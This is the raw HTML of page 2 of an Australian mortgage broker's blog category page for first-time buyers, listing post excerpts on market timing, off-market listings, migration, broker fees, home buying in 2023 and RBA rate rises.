<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1.png.webp 3256w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1-300x86.png.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1-1024x293.png.webp 1024w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1-600x172.png.webp 600w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1-768x220.png.webp 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1-450x129.png.webp 450w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1-1920x550.png.webp 1920w" sizes="(max-width: 768px) 100vw, 768px"/>
<img width="768" height="220" src="https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1.png" alt="Timing the Market vs. Time in the Market" decoding="async" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1.png 3256w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1-300x86.png 300w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1-1024x293.png 1024w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1-600x172.png 600w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1-768x220.png 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1-450x129.png 450w, https://intuitivefinance.com.au/wp-content/uploads/2024/07/INT00886015.0724_SEO_Blog_August_Timing_The_Market_Vs._Time_In_The_Market_V1-1920x550.png 1920w" sizes="(max-width: 768px) 100vw, 768px"/>
</picture>
			</div>
		</a><!-- .post-thumbnail -->
			<div class="entry-content-wrap">
		<header class="entry-header">

			<div class="entry-taxonomies">
			<span class="category-links term-links category-style-normal">
				<a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a>			</span>
		</div><!-- .entry-taxonomies -->
		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/timing-the-market-vs-time-in-the-market/" rel="bookmark">Timing the Market vs. Time in the Market</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2024-07-15T09:21:48+10:00">July 15, 2024</time><time class="updated" datetime="2025-03-14T01:43:38+10:00">March 14, 2025</time>					</span>
					</div><!-- .entry-meta -->
</header><!-- .entry-header -->
	<div class="entry-summary">
		<p>If you’ve recently been to a dinner party, backyard barbecue or kid’s Saturday sporting event, chances are you’ve encountered one of my biggest property pet peeves.</p>
<p>The amateur real estate expert.</p>
<p>They’re the person&#8230;</p>
	</div><!-- .entry-summary -->
	<footer class="entry-footer">
		<div class="entry-actions">
		<p class="more-link-wrap">
			<a href="https://intuitivefinance.com.au/timing-the-market-vs-time-in-the-market/" class="post-more-link">
				Read More<span class="screen-reader-text"> Timing the Market vs. Time in the Market</span><span class="kadence-svg-iconset svg-baseline"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-right-alt-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="27" height="28" viewBox="0 0 27 28"><title>Continue</title><path d="M27 13.953c0 0.141-0.063 0.281-0.156 0.375l-6 5.531c-0.156 0.141-0.359 0.172-0.547 0.094-0.172-0.078-0.297-0.25-0.297-0.453v-3.5h-19.5c-0.281 0-0.5-0.219-0.5-0.5v-3c0-0.281 0.219-0.5 0.5-0.5h19.5v-3.5c0-0.203 0.109-0.375 0.297-0.453s0.391-0.047 0.547 0.078l6 5.469c0.094 0.094 0.156 0.219 0.156 0.359v0z"></path>
				</svg></span>			</a>
		</p>
	</div><!-- .entry-actions -->
	</footer><!-- .entry-footer -->
	</div>
</article>

<article class="entry content-bg loop-entry post-17975 post type-post status-publish format-standard has-post-thumbnail hentry category-first-time-buyers category-home-buying-selling">
			<a class="post-thumbnail kadence-thumbnail-ratio-2-3" href="https://intuitivefinance.com.au/on-market-vs-off-market-listings/">
			<div class="post-thumbnail-inner">
				<picture class="attachment-medium_large size-medium_large wp-post-image" decoding="async" loading="lazy">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1.jpg.webp 1563w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1-300x86.jpg.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1-1024x294.jpg.webp 1024w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1-600x172.jpg.webp 600w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1-768x220.jpg.webp 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1-450x129.jpg.webp 450w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1-1440x413.jpg.webp 1440w" sizes="(max-width: 768px) 100vw, 768px"/>
<img width="768" height="220" src="https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1.jpg" alt="On Market vs. Off Market Listings: What&#8217;s The Difference" decoding="async" loading="lazy" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1.jpg 1563w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1-300x86.jpg 300w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1-1024x294.jpg 1024w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1-600x172.jpg 600w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1-768x220.jpg 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1-450x129.jpg 450w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Blog_Header_Girl_Math-1-1440x413.jpg 1440w" sizes="(max-width: 768px) 100vw, 768px"/>
</picture>
			</div>
		</a><!-- .post-thumbnail -->
			<div class="entry-content-wrap">
		<header class="entry-header">

			<div class="entry-taxonomies">
			<span class="category-links term-links category-style-normal">
				<a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a>			</span>
		</div><!-- .entry-taxonomies -->
		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/on-market-vs-off-market-listings/" rel="bookmark">On Market vs. Off Market Listings: What&#8217;s The Difference</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2024-06-17T17:18:16+10:00">June 17, 2024</time><time class="updated" datetime="2025-03-14T01:44:06+10:00">March 14, 2025</time>					</span>
					</div><!-- .entry-meta -->
</header><!-- .entry-header -->
	<div class="entry-summary">
		<p>For generations, the accepted approach to finding a home or investment was to trawl through one of the popular listing websites or the weekend paper. You’d make a shortlist, attend inspections, narrow down your choice&#8230;</p>
	</div><!-- .entry-summary -->
	<footer class="entry-footer">
		<div class="entry-actions">
		<p class="more-link-wrap">
			<a href="https://intuitivefinance.com.au/on-market-vs-off-market-listings/" class="post-more-link">
				Read More<span class="screen-reader-text"> On Market vs. Off Market Listings: What&#8217;s The Difference</span><span class="kadence-svg-iconset svg-baseline"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-right-alt-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="27" height="28" viewBox="0 0 27 28"><title>Continue</title><path d="M27 13.953c0 0.141-0.063 0.281-0.156 0.375l-6 5.531c-0.156 0.141-0.359 0.172-0.547 0.094-0.172-0.078-0.297-0.25-0.297-0.453v-3.5h-19.5c-0.281 0-0.5-0.219-0.5-0.5v-3c0-0.281 0.219-0.5 0.5-0.5h19.5v-3.5c0-0.203 0.109-0.375 0.297-0.453s0.391-0.047 0.547 0.078l6 5.469c0.094 0.094 0.156 0.219 0.156 0.359v0z"></path>
				</svg></span>			</a>
		</p>
	</div><!-- .entry-actions -->
	</footer><!-- .entry-footer -->
	</div>
</article>

<article class="entry content-bg loop-entry post-17799 post type-post status-publish format-standard has-post-thumbnail hentry category-first-time-buyers category-home-buying-selling">
			<a class="post-thumbnail kadence-thumbnail-ratio-2-3" href="https://intuitivefinance.com.au/as-migration-returns-what-does-it-mean-for-housing-markets/">
			<div class="post-thumbnail-inner">
				<picture class="attachment-medium_large size-medium_large wp-post-image" decoding="async" loading="lazy">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration.png.webp 1563w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration-300x86.png.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration-1024x294.png.webp 1024w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration-600x172.png.webp 600w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration-768x220.png.webp 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration-450x129.png.webp 450w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration-1440x413.png.webp 1440w" sizes="(max-width: 768px) 100vw, 768px"/>
<img width="768" height="220" src="https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration.png" alt="As Migration Returns, What Does it Mean for Housing Markets?" decoding="async" loading="lazy" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration.png 1563w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration-300x86.png 300w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration-1024x294.png 1024w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration-600x172.png 600w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration-768x220.png 768w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration-450x129.png 450w, https://intuitivefinance.com.au/wp-content/uploads/2024/04/Migration-1440x413.png 1440w" sizes="(max-width: 768px) 100vw, 768px"/>
</picture>
			</div>
		</a><!-- .post-thumbnail -->
			<div class="entry-content-wrap">
		<header class="entry-header">

			<div class="entry-taxonomies">
			<span class="category-links term-links category-style-normal">
				<a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a>			</span>
		</div><!-- .entry-taxonomies -->
		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/as-migration-returns-what-does-it-mean-for-housing-markets/" rel="bookmark">As Migration Returns, What Does it Mean for Housing Markets?</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au">Lachlan Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2024-04-26T10:41:30+10:00">April 26, 2024</time><time class="updated" datetime="2025-03-14T01:47:21+10:00">March 14, 2025</time>					</span>
					</div><!-- .entry-meta -->
</header><!-- .entry-header -->
	<div class="entry-summary">
		<p>In recent times, Australia’s population has grown at an astronomical rate – and it’s not because loads more people are having many more babies.</p>
<p>In the 12 months to June 2023, almost half-a-million migrants arrived in&#8230;</p>
	</div><!-- .entry-summary -->
	<footer class="entry-footer">
		<div class="entry-actions">
		<p class="more-link-wrap">
			<a href="https://intuitivefinance.com.au/as-migration-returns-what-does-it-mean-for-housing-markets/" class="post-more-link">
				Read More<span class="screen-reader-text"> As Migration Returns, What Does it Mean for Housing Markets?</span><span class="kadence-svg-iconset svg-baseline"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-right-alt-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="27" height="28" viewBox="0 0 27 28"><title>Continue</title><path d="M27 13.953c0 0.141-0.063 0.281-0.156 0.375l-6 5.531c-0.156 0.141-0.359 0.172-0.547 0.094-0.172-0.078-0.297-0.25-0.297-0.453v-3.5h-19.5c-0.281 0-0.5-0.219-0.5-0.5v-3c0-0.281 0.219-0.5 0.5-0.5h19.5v-3.5c0-0.203 0.109-0.375 0.297-0.453s0.391-0.047 0.547 0.078l6 5.469c0.094 0.094 0.156 0.219 0.156 0.359v0z"></path>
				</svg></span>			</a>
		</p>
	</div><!-- .entry-actions -->
	</footer><!-- .entry-footer -->
	</div>
</article>

<article class="entry content-bg loop-entry post-17647 post type-post status-publish format-standard has-post-thumbnail hentry category-financial-planning category-first-time-buyers category-home-buying-selling">
			<a class="post-thumbnail kadence-thumbnail-ratio-2-3" href="https://intuitivefinance.com.au/do-mortgage-brokers-charge-a-fee-2/">
			<div class="post-thumbnail-inner">
				<picture class="attachment-medium_large size-medium_large wp-post-image" decoding="async" loading="lazy">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2.png.webp 2560w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-300x86.png.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-1024x294.png.webp 1024w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-600x172.png.webp 600w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-768x220.png.webp 768w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-450x129.png.webp 450w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-1440x413.png.webp 1440w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-1920x551.png.webp 1920w" sizes="(max-width: 768px) 100vw, 768px"/>
<img width="768" height="220" src="https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2.png" alt="mortgage brokers fees" decoding="async" loading="lazy" srcset="https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2.png 2560w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-300x86.png 300w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-1024x294.png 1024w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-600x172.png 600w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-768x220.png 768w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-450x129.png 450w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-1440x413.png 1440w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-2-1920x551.png 1920w" sizes="(max-width: 768px) 100vw, 768px"/>
</picture>
			</div>
		</a><!-- .post-thumbnail -->
			<div class="entry-content-wrap">
		<header class="entry-header">

			<div class="entry-taxonomies">
			<span class="category-links term-links category-style-normal">
				<a href="https://intuitivefinance.com.au/financial-planning/" rel="tag">Financial Planning</a> | <a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a>			</span>
		</div><!-- .entry-taxonomies -->
		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/do-mortgage-brokers-charge-a-fee-2/" rel="bookmark">Do mortgage brokers charge a fee?</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2023-02-03T08:21:29+10:00">February 3, 2023</time><time class="updated" datetime="2025-03-14T01:53:45+10:00">March 14, 2025</time>					</span>
					</div><!-- .entry-meta -->
</header><!-- .entry-header -->
	<div class="entry-summary">
		<p>Mortgage brokers are key members of your property team when buying a home or investment. However, understanding the cost of a mortgage broker and the way they add value remains a mystery to some borrowers.</p>
<p>I’ve pulle&#8230;</p>
	</div><!-- .entry-summary -->
	<footer class="entry-footer">
		<div class="entry-actions">
		<p class="more-link-wrap">
			<a href="https://intuitivefinance.com.au/do-mortgage-brokers-charge-a-fee-2/" class="post-more-link">
				Read More<span class="screen-reader-text"> Do mortgage brokers charge a fee?</span><span class="kadence-svg-iconset svg-baseline"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-right-alt-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="27" height="28" viewBox="0 0 27 28"><title>Continue</title><path d="M27 13.953c0 0.141-0.063 0.281-0.156 0.375l-6 5.531c-0.156 0.141-0.359 0.172-0.547 0.094-0.172-0.078-0.297-0.25-0.297-0.453v-3.5h-19.5c-0.281 0-0.5-0.219-0.5-0.5v-3c0-0.281 0.219-0.5 0.5-0.5h19.5v-3.5c0-0.203 0.109-0.375 0.297-0.453s0.391-0.047 0.547 0.078l6 5.469c0.094 0.094 0.156 0.219 0.156 0.359v0z"></path>
				</svg></span>			</a>
		</p>
	</div><!-- .entry-actions -->
	</footer><!-- .entry-footer -->
	</div>
</article>

<article class="entry content-bg loop-entry post-17567 post type-post status-publish format-standard has-post-thumbnail hentry category-financial-planning category-first-time-buyers category-home-buying-selling">
			<a class="post-thumbnail kadence-thumbnail-ratio-2-3" href="https://intuitivefinance.com.au/how-to-buy-a-home-easily-in-2023/">
			<div class="post-thumbnail-inner">
				<picture class="attachment-medium_large size-medium_large wp-post-image" decoding="async" loading="lazy">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2023/01/featured-image-1.png.webp 600w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/featured-image-1-300x300.png.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/featured-image-1-150x150.png.webp 150w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/featured-image-1-450x450.png.webp 450w" sizes="(max-width: 600px) 100vw, 600px"/>
<img width="600" height="600" src="https://intuitivefinance.com.au/wp-content/uploads/2023/01/featured-image-1.png" alt="How to buy a home in 2023" decoding="async" loading="lazy" srcset="https://intuitivefinance.com.au/wp-content/uploads/2023/01/featured-image-1.png 600w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/featured-image-1-300x300.png 300w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/featured-image-1-150x150.png 150w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/featured-image-1-450x450.png 450w" sizes="(max-width: 600px) 100vw, 600px"/>
</picture>
			</div>
		</a><!-- .post-thumbnail -->
			<div class="entry-content-wrap">
		<header class="entry-header">

			<div class="entry-taxonomies">
			<span class="category-links term-links category-style-normal">
				<a href="https://intuitivefinance.com.au/financial-planning/" rel="tag">Financial Planning</a> | <a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a>			</span>
		</div><!-- .entry-taxonomies -->
		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/how-to-buy-a-home-easily-in-2023/" rel="bookmark">How to buy a home in 2023</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2023-01-23T14:47:34+10:00">January 23, 2023</time><time class="updated" datetime="2025-03-14T01:54:15+10:00">March 14, 2025</time>					</span>
					</div><!-- .entry-meta -->
</header><!-- .entry-header -->
	<div class="entry-summary">
		<p>Whether you’re a first homebuyer, second-time purchaser, upsizer, downsizer or whoever, the process of buying a home comes with a range of challenges.</p>
<p>But in 2023 I believe those trials will be a little different com&#8230;</p>
	</div><!-- .entry-summary -->
	<footer class="entry-footer">
		<div class="entry-actions">
		<p class="more-link-wrap">
			<a href="https://intuitivefinance.com.au/how-to-buy-a-home-easily-in-2023/" class="post-more-link">
				Read More<span class="screen-reader-text"> How to buy a home in 2023</span><span class="kadence-svg-iconset svg-baseline"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-right-alt-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="27" height="28" viewBox="0 0 27 28"><title>Continue</title><path d="M27 13.953c0 0.141-0.063 0.281-0.156 0.375l-6 5.531c-0.156 0.141-0.359 0.172-0.547 0.094-0.172-0.078-0.297-0.25-0.297-0.453v-3.5h-19.5c-0.281 0-0.5-0.219-0.5-0.5v-3c0-0.281 0.219-0.5 0.5-0.5h19.5v-3.5c0-0.203 0.109-0.375 0.297-0.453s0.391-0.047 0.547 0.078l6 5.469c0.094 0.094 0.156 0.219 0.156 0.359v0z"></path>
				</svg></span>			</a>
		</p>
	</div><!-- .entry-actions -->
	</footer><!-- .entry-footer -->
	</div>
</article>

<article class="entry content-bg loop-entry post-17559 post type-post status-publish format-standard has-post-thumbnail hentry category-financial-planning category-first-time-buyers category-home-buying-selling">
			<a class="post-thumbnail kadence-thumbnail-ratio-2-3" href="https://intuitivefinance.com.au/why-the-rba-shouldnt-raise-rates-in-february/">
			<div class="post-thumbnail-inner">
				<picture class="attachment-medium_large size-medium_large wp-post-image" decoding="async" loading="lazy">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1.png.webp 2560w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-300x86.png.webp 300w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-1024x294.png.webp 1024w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-600x172.png.webp 600w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-768x220.png.webp 768w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-450x129.png.webp 450w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-1440x413.png.webp 1440w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-1920x551.png.webp 1920w" sizes="(max-width: 768px) 100vw, 768px"/>
<img width="768" height="220" src="https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1.png" alt="interest rate hikes 2023" decoding="async" loading="lazy" srcset="https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1.png 2560w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-300x86.png 300w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-1024x294.png 1024w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-600x172.png 600w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-768x220.png 768w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-450x129.png 450w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-1440x413.png 1440w, https://intuitivefinance.com.au/wp-content/uploads/2023/01/Blog-header-scaled-01-1-1920x551.png 1920w" sizes="(max-width: 768px) 100vw, 768px"/>
</picture>
			</div>
		</a><!-- .post-thumbnail -->
			<div class="entry-content-wrap">
		<header class="entry-header">

			<div class="entry-taxonomies">
			<span class="category-links term-links category-style-normal">
				<a href="https://intuitivefinance.com.au/financial-planning/" rel="tag">Financial Planning</a> | <a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a>			</span>
		</div><!-- .entry-taxonomies -->
		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/why-the-rba-shouldnt-raise-rates-in-february/" rel="bookmark">Why the RBA shouldn’t raise interest rates in February</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2023-01-23T14:47:06+10:00">January 23, 2023</time><time class="updated" datetime="2025-03-14T01:54:45+10:00">March 14, 2025</time>					</span>
					</div><!-- .entry-meta -->
</header><!-- .entry-header -->
	<div class="entry-summary">
		<p>The Reserve Bank of Australia (RBA) has been under extreme pressure to tackle rising inflation by increasing interest rates. Their moves in 2022 proved necessary, but I think it’s time they pause. If they don’t it ris&#8230;</p>
	</div><!-- .entry-summary -->
	<footer class="entry-footer">
		<div class="entry-actions">
		<p class="more-link-wrap">
			<a href="https://intuitivefinance.com.au/why-the-rba-shouldnt-raise-rates-in-february/" class="post-more-link">
				Read More<span class="screen-reader-text"> Why the RBA shouldn’t raise interest rates in February</span><span class="kadence-svg-iconset svg-baseline"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-right-alt-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="27" height="28" viewBox="0 0 27 28"><title>Continue</title><path d="M27 13.953c0 0.141-0.063 0.281-0.156 0.375l-6 5.531c-0.156 0.141-0.359 0.172-0.547 0.094-0.172-0.078-0.297-0.25-0.297-0.453v-3.5h-19.5c-0.281 0-0.5-0.219-0.5-0.5v-3c0-0.281 0.219-0.5 0.5-0.5h19.5v-3.5c0-0.203 0.109-0.375 0.297-0.453s0.391-0.047 0.547 0.078l6 5.469c0.094 0.094 0.156 0.219 0.156 0.359v0z"></path>
				</svg></span>			</a>
		</p>
	</div><!-- .entry-actions -->
	</footer><!-- .entry-footer -->
	</div>
</article>
				</div>
				
	<nav class="navigation pagination" aria-label="Page navigation">
		<h2 class="screen-reader-text">Page navigation</h2>
		<div class="nav-links"><a class="prev page-numbers" href="https://intuitivefinance.com.au/first-time-buyers/"><span class="screen-reader-text">Previous Page</span><span class="kadence-svg-iconset svg-baseline"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-left-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Previous</title><path d="M15.707 17.293l-5.293-5.293 5.293-5.293c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-6 6c-0.391 0.391-0.391 1.024 0 1.414l6 6c0.391 0.391 1.024 0.391 1.414 0s0.391-1.024 0-1.414z"></path>
				</svg></span></a>
<a class="page-numbers" href="https://intuitivefinance.com.au/first-time-buyers/">1</a>
<span aria-current="page" class="page-numbers current">2</span>
<a class="page-numbers" href="https://intuitivefinance.com.au/first-time-buyers/page/3/">3</a>
<a class="page-numbers" href="https://intuitivefinance.com.au/first-time-buyers/page/4/">4</a>
<span class="page-numbers dots">&hellip;</span>
<a class="page-numbers" href="https://intuitivefinance.com.au/first-time-buyers/page/13/">13</a>
<a class="next page-numbers" href="https://intuitivefinance.com.au/first-time-buyers/page/3/"><span class="screen-reader-text">Next Page</span><span class="kadence-svg-iconset svg-baseline"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-right-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Next</title><path d="M9.707 18.707l6-6c0.391-0.391 0.391-1.024 0-1.414l-6-6c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414l5.293 5.293-5.293 5.293c-0.391 0.391-0.391 1.024 0 1.414s1.024 0.391 1.414 0z"></path>
				</svg></span></a></div>
	</nav>		</main><!-- #main -->
		<aside id="secondary" role="complementary" class="primary-sidebar widget-area sidebar-slug-sidebar-primary sidebar-link-style-normal">
	<div class="sidebar-inner-wrap">
		<section id="block-11" class="widget widget_block widget_media_image"><div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><a href="https://intuitivefinance.com.au/appointments/"><picture loading="lazy" decoding="async" class="wp-image-20971" style="width:450px">
